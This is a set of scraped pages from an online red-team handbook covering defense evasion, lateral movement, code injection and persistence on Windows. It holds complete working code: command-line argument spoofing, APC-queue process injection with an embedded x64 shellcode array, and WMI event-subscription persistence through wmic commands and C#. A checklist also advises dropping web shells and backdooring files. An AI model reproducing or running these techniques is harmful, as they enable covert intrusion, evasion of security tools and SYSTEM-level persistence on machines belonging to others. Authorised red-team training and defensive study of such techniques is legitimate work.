CreateProcessNotify(LPCWSTR lpApplicationName, ULONG ulReason) { NTSTATUS ntStatus = STATUS_SUCCESS; // implement shellcode execution return ntStatus; } BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) { switch ( fdwReason ) { case DLL_PROCESS_ATTACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; } /* switch (uNotifyReason) { case APPCERT_IMAGE_OK_TO_RUN: OutputDebugStringA("APPCERT_IMAGE_OK_TO_RUN"); return STATUS_SUCCESS; case APPCERT_CREATION_ALLOWED: OutputDebugStringA("APPCERT_CREATION_ALLOWED"); return STATUS_SUCCESS; case APPCERT_CREATION_DENIED: OutputDebugStringA("APPCERT_CREATION_DENIED"); return STATUS_SUCCESS; default: OutputDebugStringA("APPCERT_UNKNOWN"); return STATUS_SUCCESS; } } */ [PreviousDefault File Extension](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/default-file-extension) [NextTime Provider](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/time-provider) Last updated 5 years ago --- # IOCs | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs.md) . Here is a picture from "Securi-Tay 2020: Offensive Tradecraft - Defence Evasion" by - Paul Laîné which briefly sums up the technologies used by AVs to detect malware ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgDkn_cUzUZ1JN6DEN5%252F-MgDmR4LDCdV_JR1MnDp%252Fimage.png%3Falt%3Dmedia%26token%3Dccb07b4d-409f-47be-a53f-255cd648ae8f&width=768&dpr=3&quality=100&sign=35671ebc&sv=2) We as attackers have to find ways to bypass and hide these detections. I would also like to add a couple more things * Sandboxing: Trigger payload in a controlled environment to track heuristic behaviors and flag known malware behavior * Data Mining: Uses a known data set like virustotal to make algorithms to detect AV or just to build signatures to flag for * In memory scanning: periodically scans or scans executable regions for malware in real time to detect malware * Library load events * Kernel callbacks * EtwTi Kernel-mode event provider [PreviousBasics](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics) [NextHigh Level Overview of EDR technologies](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies) Last updated 5 years ago --- # No Admin? | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/no-admin.md) . * Do you have any access to file shares? * wwwroot: drop a web shell * web.config: access to cleartext creds * backdooring any files with your payload * Pivot through SQL server with your current credentials or with any SQL scripts you have found * Internal spear phishing * Pivot to web and cloud services and try to escalate privileges from there(Azure, exchange etc.) * Search for any low hanging VNC creds or SSH keys/passwords [PreviousImpacket](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/impacket) [NextChecking for access](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/checking-for-access) Last updated 3 years ago --- # Misdirection | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection.md) . [Command Line Argument Spoofing](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/command-line-argument-spoofing) [PPID Spoofing via CreateProcess](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/ppid-spoofing-via-createprocess) [Switching Parents](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents) [PreviousDLL Hollowing](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/module-stomping) [NextCommand Line Argument Spoofing](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/command-line-argument-spoofing) Last updated 5 years ago --- # User Level | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level.md) . [LNK](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/lnk) [Startup Folder](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/startup-folder) [Junction folders](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/junction-folders) [Registry Keys](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/registry-keys) [Logon Scripts](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/logon-scripts) [Powershell Profiles](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/powershell-profiles) [Screen Savers](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/screen-savers) [PreviousWMI Event Subscriptions](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/wmi-event-subscriptions) [NextLNK](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/lnk) Last updated 5 years ago --- # Command Line Argument Spoofing | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/command-line-argument-spoofing.md) . The PEB of a process holds the command line arguments of a process. This PEB resides in usermode which means that we can spoof our command line arguments as an unprivileged user. Lets use WinDBG to see how this looks like. To achieve this: 1. **Create a suspended process** 2. **Find the Process Parameters field of the process** 3. **Find the RTL\_USER\_PROCESS\_PARAMETERS struct** 4. **Change the CommandLine field in RTL\_USER\_PROCESS\_PARAMETERS to spoof command line args** 5. **Resume process** Copy #include #include #include // https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%201%20-%20Powershell%20spawn%20with%20fake%20procexp%20args/code.cpp #define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'" #define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host This is just a friendly argument, nothing to see here;Write-Host Surprise, arguments spoofed\0" typedef NTSTATUS(*NtQueryInformationProcess2)( IN HANDLE, IN PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG ); void* readProcessMemory(HANDLE process, void* address, DWORD bytes) { SIZE_T bytesRead; char* alloc; alloc = (char*)malloc(bytes); if (alloc == NULL) { return NULL; } if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) { free(alloc); return NULL; } return alloc; } BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) { SIZE_T bytesWritten; if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) { return false; } return true; } int main(int argc, char** canttrustthis) { STARTUPINFOA si; PROCESS_INFORMATION pi; CONTEXT context; BOOL success; PROCESS_BASIC_INFORMATION pbi; DWORD retLen; SIZE_T bytesRead; PEB pebLocal; RTL_USER_PROCESS_PARAMETERS* parameters; printf("Argument Spoofing Example by @_xpn_\n\n"); memset(&si, 0, sizeof(si)); memset(&pi, 0, sizeof(pi)); // Start process suspended success = CreateProcessA( NULL, (LPSTR)CMD_TO_SHOW, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, "C:\\Windows\\System32\\", &si, &pi); if (success == FALSE) { printf("[!] Error: Could not call CreateProcess\n"); return 1; } // Retrieve information on PEB location in process NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess"); ntpi( pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen ); // Read the PEB from the target process success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead); if (success == FALSE) { printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n"); return 1; } // Grab the ProcessParameters from PEB parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory( pi.hProcess, pebLocal.ProcessParameters, sizeof(RTL_USER_PROCESS_PARAMETERS) + 300 ); // Set the actual arguments we are looking to use WCHAR spoofed[] = CMD_TO_EXEC; success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed)); if (success == FALSE) { printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n"); return 1; } /////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer ///////// // Update the CommandLine length (Remember, UNICODE length here) DWORD newUnicodeLen = 139; success = writeProcessMemory( pi.hProcess, (char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length), (void*)&newUnicodeLen, 4 ); if (success == FALSE) { printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n"); return 1; } // Resume thread execution*/ ResumeThread(pi.hThread); } Tools like process hacker will log the clean arguments, but will execute the malicious arguments. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgHMv24Nh6JbBjGmpkQ%252F-MgHMxvBNDIdiUe5LcaQ%252Fimage.png%3Falt%3Dmedia%26token%3D4a285bbc-a202-4059-a81c-79361ccfa1c9&width=768&dpr=3&quality=100&sign=a5f1a466&sv=2) This is also what Cobalt Strike's argue does. [PreviousMisdirection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection) [NextPPID Spoofing via CreateProcess](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/ppid-spoofing-via-createprocess) Last updated 5 years ago --- # APC Queue Code Injection | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/apc-queue-code-injection.md) . * **APC(Asynchronous Procedure Calls)** * **APC queues can be used to execute code asynchronously** * **We queue an APC to a thread** * **When the application gets scheduled, our queued APCs get executed** * **We cannot force the remote program to be scheduled** **A program becomes alertable when it calls one of these 5 functions:** Copy SleepEx() SignalObjectAndWait() WaitForsingleObjectsEx() MsgWaitForMultipleObjectsEx() WaitForMultipleObjectsEx() Copy #include #include #include #include #include unsigned char shellcode[] = { 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d, 0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x70, 0x65, 0x61, 0x6b, 0x61, 0x62, 0x6f, 0x6f, 0x00 }; unsigned int pay_len = sizeof(shellcode); DWORD FindProcessPid(const char* name) { PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system if (hSnapshot) { if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name { do { if (strcmp(pe32.szExeFile, name) == 0) // compares the process name, with our user supplied name { return pe32.th32ProcessID; // if its the same, return the process id } } while (Process32Next(hSnapshot, &pe32)); CloseHandle(hSnapshot); } } return -1; // returns negative one if the process is not found } HANDLE FindThread(int pid) { HANDLE hThread = NULL; THREADENTRY32 thEntry; thEntry.dwSize = sizeof(thEntry); HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); while (Thread32Next(Snap, &thEntry)) { if (thEntry.th32OwnerProcessID == pid) { hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID); break; } } CloseHandle(Snap); return hThread; } int main(void) { int pid = FindProcessPid("notepad.exe"); HANDLE hThread = FindThread(pid); LPVOID pRem = NULL; HANDLE han_proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD)pid); pRem = VirtualAllocEx(han_proc, NULL, pay_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(han_proc, pRem, (PVOID)shellcode, (SIZE_T)pay_len, (SIZE_T*)NULL); QueueUserAPC((PAPCFUNC)pRem, hThread, NULL); // this is the only different thing, we ge QUeueUserAPC copy hte payload etc, then we use QUeueUserAPC poitner to the hellcode whic hwas allocated CloseHandle(han_proc); getchar(); return 0; } Let's compile this piece of code and run it. You will not get your shellcode to run instantly, instead you some how have to coerce your application to be in an alertable state. Let's play around with notepad and try to get it to be alertable. I found that trying to save a text file will cause it to become alertable and execute our shellcode ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5Ozb7I8Wakwp1dgIf%252F-Mh5SUK7nu-t0sZ9IwYk%252Fimage.png%3Falt%3Dmedia%26token%3Da51bfb23-30e5-49cd-a647-d02a4f213c03&width=768&dpr=3&quality=100&sign=c24fba23&sv=2) We can also see our remotely allocated shellcode in process hacker: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5Ozb7I8Wakwp1dgIf%252F-Mh5Su2gDxAdTO3cI_TA%252Fimage.png%3Falt%3Dmedia%26token%3D10545e8c-7b20-495b-b952-c0dcfc79cbc4&width=768&dpr=3&quality=100&sign=93afe338&sv=2) [PreviousDLL Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/dll-injection) [NextEarly Bird Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/early-bird-injection) Last updated 5 years ago --- # WMI Event Subscriptions | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/wmi-event-subscriptions.md) . WMI Event subscriptions can be abused for persistence with payloads that will run with SYSTEM privileges. WMI eventing can be used on action to almost any system event, this includes: logins, registry, file activity etc. There are 3 things to remember about WMI 1. EventFilter: Action that triggers the payload 2. EventConsumer: Where the payload will be stored • 3. FilterToConsumerBinding: Binds the “EventFilter” and “EventConsumer” This can be done with the wmic utility: Copy wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="INFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="Select * From __InstanceCreationEvent Within 15 Where (TargetInstance Isa 'Win32_Process' And TargetInstance.Name = 'notepad.exe')" The above command will kickoff if there is a instance of x32 notepad.exe in memory. Copy wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="NAME", ExecutablePath="C:\Windows\System32\calc.exe",CommandLineTemplate="C:\Windows\System32\calc.exe" The above command is what to run if notepad.exe is executed. Copy wmic /NAMESPACE:"\root\subscription" PATH FilterToConsumerBinding CREATE Filter="EventFilter.Name=\"INFilter\"", Consumer="CommandLineEventConsumer.Name=\"NAME\"" The above command will bind the “EventFilter” and “EventConsumer” which will achieve persistence everytime an instance of a x32 notepad is executed. If we run x32 notepad, we will see an instance of calc being ran with SYSTEM privileges. We can also implement this in other languages like C#(stolen from mdsec) Copy // COMPLETELY STOLEN FROM HERE: https://github.com/mdsecactivebreach/WMIPersistence/blob/master/WMIPersist.cs Copy using System; using System.Text; using System.Management; namespace WMIPersistence { class Program { static void Main(string[] args) { PersistWMI(); } static void PersistWMI() { ManagementObject myEventFilter = null; ManagementObject myEventConsumer = null; ManagementObject myBinder = null; string vbscript64 = ""; string vbscript = Encoding.UTF8.GetString(Convert.FromBase64String(vbscript64)); try { ManagementScope scope = new ManagementScope(@"\\.\root\subscription"); ManagementClass wmiEventFilter = new ManagementClass(scope, new ManagementPath("__EventFilter"), null); String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " + "WHERE TargetInstance ISA \"Win32_Process\" " + "AND TargetInstance.Name = \"notepad.exe\""; WqlEventQuery myEventQuery = new WqlEventQuery(strQuery); myEventFilter = wmiEventFilter.CreateInstance(); myEventFilter["Name"] = "demoEventFilter"; myEventFilter["Query"] = myEventQuery.QueryString; myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage; myEventFilter["EventNameSpace"] = @"\root\cimv2"; myEventFilter.Put(); Console.WriteLine("[*] Event filter created."); myEventConsumer = new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"), null).CreateInstance(); myEventConsumer["Name"] = "BadActiveScriptEventConsumer"; myEventConsumer["ScriptingEngine"] = "VBScript"; myEventConsumer["ScriptText"] = vbscript; myEventConsumer.Put(); Console.WriteLine("[*] Event consumer created."); myBinder = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance(); myBinder["Filter"] = myEventFilter.Path.RelativePath; myBinder["Consumer"] = myEventConsumer.Path.RelativePath; myBinder.Put(); Console.WriteLine("[*] Subscription created"); } catch (Exception e) { Console.WriteLine(e); } // END CATCH Console.ReadKey(); } // END FUNC } // END CLASS } // END NAMESPACE Resources[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/wmi-event-subscriptions#resources) ---------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fpentestlab.blog%2Fwp-content%2Fuploads%2F2024%2F08%2Fcropped-pentestlab.webp%3Fw%3D192&width=20&dpr=3&quality=100&sign=7b4056d4&sv=2)Persistence – WMI Event SubscriptionPenetration Testing Lab](https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/) [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)WMIPersistence/WMIPersist.cs at master · mdsecactivebreach/WMIPersistenceGitHub](https://github.com/mdsecactivebreach/WMIPersistence/blob/master/WMIPersist.cs) [PreviousPort Monitor](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/port-monitor) [NextUser Level](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level) Last updated 5 years ago --- # Dechaining via WMI | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi.md) . WMI is Microsoft's implementation of WBEM and CIM developed and published by DMTF. WMI provides means of gathering and sending management information in an enterprise environment. WMI is a com based service which provides various variations of access to system related information. WMI introduces something called a "managed object." This is a component on the machine that is managed by WMI. A managed object is a logical or physical part of a computer, such as a hard disk drive, network adapter, database system, operating system, process, or service. Applications that retrieve info from these managed objects are called "consumers." Consumers query managed objects from these things called "providers." A provider is either a user-mode COM DLL or a kernel driver which expose . The default WMI providers are called the "standard providers", meaning that we can create our own provider and register it with WMI. This WMI provider is contains an associated GUID which is registered in the registry. More specifically WMI providers provide information about managed objects as instances of classes, consumers do not access these instances directly, consumers query WMI, and WMI then forwards that query to the provider. The provider then processes the query and sends info back to WMI, in which WMI sends it back to the consumer again. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5_Kb3p83UIxIE3ihw%252F-Mh6KPsYCUT39hlnyodG%252Fimage.png%3Falt%3Dmedia%26token%3D502b881a-2219-4b85-94ee-cf579795636b&width=768&dpr=3&quality=100&sign=9321c490&sv=2) These queries happen in WQL, which is basically SQL for WMI. If you have programmed in SQL before, you will notice that the syntax is very similar. An example of a WQL query is this: This query will return all running processes where the executable names is chrome. The diagram below shows the relationship of the WMI infrastructure and WMI providers and managed objects. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5_Kb3p83UIxIE3ihw%252F-Mh6L-RQUrsFkwpJYoee%252Fimage.png%3Falt%3Dmedia%26token%3D2441a6ba-658a-457b-974f-0b0350411e5b&width=768&dpr=3&quality=100&sign=650db4a6&sv=2) Examples of WMI providers are the Registry provider: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=3f0a4066&sv=2)System Registry ProviderMicrosoftLearn](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/regprov/system-registry-provider) Which helps you access data in the registry. This provider only has one WMI class: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=3f0a4066&sv=2)StdRegProv classMicrosoftLearn](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/regprov/stdregprov) which is StdRegProv. This class has many methods which we can use. WMI Providers also contain a Managed Object Format file which defines the classes which the provider returns. Classes are also categorized hierarchically into namespaces. All namespaces derive from the ROOT namespace and Microsoft uses ROOT\\CIMV2 as the default namespace. WMI settings are stored here: the WMI service is implemented as a service process within SVCHOST. This service interacts with consumers through the COM interface. Providers register their location with the WMI service, which allows WMI to route data requests. WMI also uses ETW to record its own service activity. For more information, please check out the Microsoft documentation: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=3f0a4066&sv=2)Windows Management Instrumentation - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page) For this lab(ish), we will just be using the standard providers to make any process of our choice spawn under wmiPRVSE.exe service.(in c/c++) Implementation[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi#implementation) ----------------------------------------------------------------------------------------------------------------------------------------------------------------- Since we are dealing with COM, we must setup COM by calling `CoInitializeEx`. If you don't recall, COM is a a language agnostic library which allows application in different programming languages to interact with each other. The steps to create a WMI application are to: 1. Initialize COM 2. Create a connection to a WMI namespace 3. Set security levels of the WMI connection 4. Use the COM interfaces(functionality) 5. cleanup and shutdown your application properly Microsoft already has a code implementation on how to create a process using WMI, the final code is here(stolen from MS) This part of the code includes the libraries to compile correctly: We then call CoInitializeEx to setup COM We then setup the COM security levels with CoInitializeSecurity. here, RPC\_C\_AUTHN\_LEVEL\_DEFAULT and RPC\_C\_IMPL\_LEVEL\_IMPERSONATE are the only parameters to be set. after COM and COM-security have been set up, the class:`IWbemLocator` is used to access the WMI service, we initialize the IWebLocator interface through a call to CoCreateInstance. IWbemLocator::ConnectServer connects to the specified host for WMI. Here, we will just use the local WMI service. IWbemLocator::ConnectServer is defined with: 1. The first parameter specifies the CIM namespace the consumer connects to, like \\\\server\\namespace... If the namespace is no the local machine, server can be omitted, like namespace\\namespace1... 2. user and pass are in the second and third parameters, in the scenario if a local machine, they must be set to NULL or else they will fail 3. the fourth parameter if set to null, the current local will be used. If it is not NULL, this must be a valid BSTR 4. The fifth parameter if set to 0, results in ConnectServer returning only after the connection to the server is established, This could result in your program ceasing to respond indefinitely if the server is broken. The following list lists the other valid values for lSecurityFlags. Note that you can also set it to WBEM\_FLAG\_USE\_MAX\_WAIT, which guarantees the call to return within two minutes. This safeguards consumers against blocking indefinitely if the targeted machine is down Our call looks like this: Once you have received a pointer to the IWbemServices proxy, you will then have to set the security settings on the proxy to access WMI. Here, we call it so that impersonation of the client occurs on the proxy. After that, we can finally access the Process::create method which will create a process under the WMI service. We will use the IWbemServices pointer to make requests to WMI, we will use IWbemServices::ExecMethod to call Win32\_Process::Create. If the provider supports any in or out parameters, then the values of the parameters must be given to the IWbemClassObject pointers. For in parameters, you must spawn an instance of the in parameter definitions, and set the values of these new instances. Process::Create needs a CommandLine in parameter to execute. As seen in its prototype: Here, we will create a IWbemClassPointer, spawn a new instance of Win32\_Process::Create, and set the value of CommandLine to notepad.exe. We will then handle the out-parameters, giving it to an IWbemClassObject pointer. We will use the GET method and store it in a VARIANT variable so we can display it back to the user We will then implement some error checking if anything fails, this simply prints out the error code and cleans and shuts down. We release any open COM interfaces, free our allocated memory, call CoUninitialize, and exit our application: Note that this is also what we do at the end of our code even if it works: Observations[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi#observations) ------------------------------------------------------------------------------------------------------------------------------------------------------------- Let's compile the code above and see it in action! We can see we spawned the WmiPrvSe service in Process Hacker like so: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh6qtruNJ6914AgRlPr%252F-Mh6xAkKk63MmtBbdk1n%252Fimage.png%3Falt%3Dmedia%26token%3D14714d04-3a1a-44be-af2b-6fc2a297c1c6&width=768&dpr=3&quality=100&sign=3082f636&sv=2) And our notepad with WMiPrvSe.exe as its parent 